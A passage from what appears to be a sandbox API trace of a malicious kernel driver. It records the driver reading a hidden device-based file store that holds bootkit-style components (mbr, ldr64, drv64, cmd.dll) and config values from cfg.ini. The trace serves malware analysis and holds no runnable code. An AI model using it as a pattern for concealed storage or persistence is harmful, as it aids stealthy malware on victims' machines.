FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.326] KeLeaveCriticalRegion () [0118.326] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.326] ReleaseMutex (hMutex=0xf0) returned 1 [0118.326] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.326] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.326] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.326] KeEnterCriticalRegion () [0118.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.326] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.326] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.326] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.326] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.326] IdePortDispatch () returned 0x103 [0118.326] KeWaitForMutexObject () returned 0x0 [0118.326] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.326] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.326] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.326] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.326] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.326] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.326] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.326] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.326] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.326] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.326] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.326] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.326] KeLeaveCriticalRegion () [0118.326] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.326] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.326] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.326] KeEnterCriticalRegion () [0118.326] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.327] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.327] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.327] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.327] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.327] IdePortDispatch () returned 0x103 [0118.327] KeWaitForMutexObject () returned 0x0 [0118.327] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.327] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.327] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.327] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.327] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.327] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.327] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.327] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.327] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.327] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.327] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.327] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.327] KeLeaveCriticalRegion () [0118.327] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.327] ReleaseMutex (hMutex=0x100) returned 1 [0118.327] Sleep (dwMilliseconds=0x2bf20) [0118.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69bb9690, dwHighDateTime=0x1d24fa4)) [0118.334] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.334] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.334] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.334] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.334] KeEnterCriticalRegion () [0118.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.334] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.334] IdePortDispatch () returned 0x103 [0118.335] KeWaitForMutexObject () returned 0x0 [0118.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.335] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.335] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.335] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.335] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.335] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.335] KeLeaveCriticalRegion () [0118.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.335] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.335] KeEnterCriticalRegion () [0118.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.335] KeLeaveCriticalRegion () [0118.335] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.335] KeEnterCriticalRegion () [0118.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.335] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.335] IdePortDispatch () returned 0x103 [0118.335] KeWaitForMutexObject () returned 0x0 [0118.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.335] KeLeaveCriticalRegion () [0118.335] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.336] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.336] KeEnterCriticalRegion () [0118.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.336] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0118.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.336] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.336] IdePortDispatch () returned 0x103 [0118.336] KeWaitForMutexObject () returned 0x0 [0118.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.336] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.336] IdePortDispatch () returned 0x103 [0118.336] KeWaitForMutexObject () returned 0x0 [0118.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.336] KeLeaveCriticalRegion () [0118.336] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.337] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.337] KeEnterCriticalRegion () [0118.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] KeLeaveCriticalRegion () [0118.337] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.337] KeEnterCriticalRegion () [0118.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.337] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003adb990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] KeLeaveCriticalRegion () [0118.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.337] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.337] KeEnterCriticalRegion () [0118.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] KeLeaveCriticalRegion () [0118.337] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.337] ReleaseMutex (hMutex=0xf0) returned 1 [0118.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.337] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.337] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.337] KeEnterCriticalRegion () [0118.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.337] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.337] IdePortDispatch () returned 0x103 [0118.337] KeWaitForMutexObject () returned 0x0 [0118.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdfc30 [0118.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.338] KeLeaveCriticalRegion () [0118.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.338] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.338] KeEnterCriticalRegion () [0118.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.338] KeLeaveCriticalRegion () [0118.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.338] KeEnterCriticalRegion () [0118.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.338] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.338] IdePortDispatch () returned 0x103 [0118.339] KeWaitForMutexObject () returned 0x0 [0118.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.339] KeLeaveCriticalRegion () [0118.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.339] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.339] KeEnterCriticalRegion () [0118.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.339] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0118.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.339] IdePortDispatch () returned 0x103 [0118.340] KeWaitForMutexObject () returned 0x0 [0118.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.340] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.340] IdePortDispatch () returned 0x103 [0118.340] KeWaitForMutexObject () returned 0x0 [0118.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.340] KeLeaveCriticalRegion () [0118.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.341] KeEnterCriticalRegion () [0118.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] KeLeaveCriticalRegion () [0118.341] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.341] KeEnterCriticalRegion () [0118.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.341] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdfcf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] KeLeaveCriticalRegion () [0118.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.341] KeEnterCriticalRegion () [0118.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] ExFreePoolWithTag (P=0xfffffa8003bdfc30, Tag=0x0) [0118.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] KeLeaveCriticalRegion () [0118.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.341] ReleaseMutex (hMutex=0xf0) returned 1 [0118.341] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.341] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.341] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.341] KeEnterCriticalRegion () [0118.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.341] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.341] IdePortDispatch () returned 0x103 [0118.341] KeWaitForMutexObject () returned 0x0 [0118.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.342] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.342] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.342] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.342] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.342] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] KeLeaveCriticalRegion () [0118.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.342] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.342] KeEnterCriticalRegion () [0118.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] KeLeaveCriticalRegion () [0118.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.342] KeEnterCriticalRegion () [0118.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.342] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.342] IdePortDispatch () returned 0x103 [0118.342] KeWaitForMutexObject () returned 0x0 [0118.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] KeLeaveCriticalRegion () [0118.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.342] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.342] KeEnterCriticalRegion () [0118.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0118.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.342] IoAllocateMdl (in: 